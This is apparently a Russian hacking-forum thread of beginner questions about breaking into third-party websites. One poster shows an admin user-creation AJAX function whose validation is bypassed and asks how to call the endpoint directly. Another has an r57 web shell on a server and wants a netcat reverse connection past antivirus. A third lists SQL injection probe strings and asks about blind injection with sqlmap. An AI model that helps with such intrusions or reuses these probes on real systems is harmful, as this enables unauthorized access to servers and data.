Привет, наткнулся на сайт который на 80% написан на JS с использованием Аякса
Почитам код наткнулся на функцию которая добавляет юзера
PHP код:
function user_add2db()
{
if ((true) || (assertNotEmpty('adminUserAdd_login', 'Логин не может быть пустым!')
&& assertNotEmpty('adminUserAdd_password1', 'Пароль не может быть пустым!')
&& assertNotEmpty('adminUserAdd_name', 'Имя пользователя не может быть пустым!')
&& assertEqual('adminUserAdd_password1', 'adminUserAdd_password2', 'Пароль и его подтверждение не совпадают!')))
{
new Ajax.Updater('notify', siteGetUrl()+'core/user_add2db', {evalScripts: true,
parameters: {
id: -1,
login: $('adminUserAdd_login').value,
name: $('adminUserAdd_name').value,
password: $('adminUserAdd_password1').value,
email: $('adminUserAdd_email').value,
group: $('adminUserAdd_group').value,
description: $('adminUserAdd_descr').value } });
}
}
Обратился к site.ru/core/user_add2db не передав параметров
PHP код:
Notice: Undefined index: id in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 153
Notice: Undefined index: login in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 153
Notice: Undefined index: name in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 153
Notice: Undefined index: description in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 154
Notice: Undefined index: email in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 154
Notice: Undefined index: group in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 154
Notice: Undefined index: password in /opt/htdocs/kid/site.ru/ui/admin/users.inc.php on line 156
Fatal error: Call to a member function sid() on a non-object in /opt/htdocs/kid/site.ru/core/user.class.php on line 50
Вопрос в том как передать странице параметры (через GET не получается)
Значит так:
1. Есть шелл на сервере.
2. Есть NetCat у меня.
По всей видимости на сервере стоит антивирь, т.к. при бек-коннекте с помощью встроенной ф-ции в r57 ничего не происходит. Брал так же другой скрипт для бек-коннект - ничего... Как сделать бек-коннект?
Нашёл скул инъект.
на .php?mod=1' выдает обычную
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 1' at line 1
на .php?mod=1'union/**/select/**/1/* пустую страницу
на .php?mod=1'union/**/select/**/1,2, и т.д./* неверное количество полей
Это и есть слепая инъекция?Никогда раньше не работал с blind инъектами
Если да,то скажите пару слов про использование Bsqlbf или sqlmap
Последний раз редактировалось p.r0phe.t; 28.10.2009 в 18:00..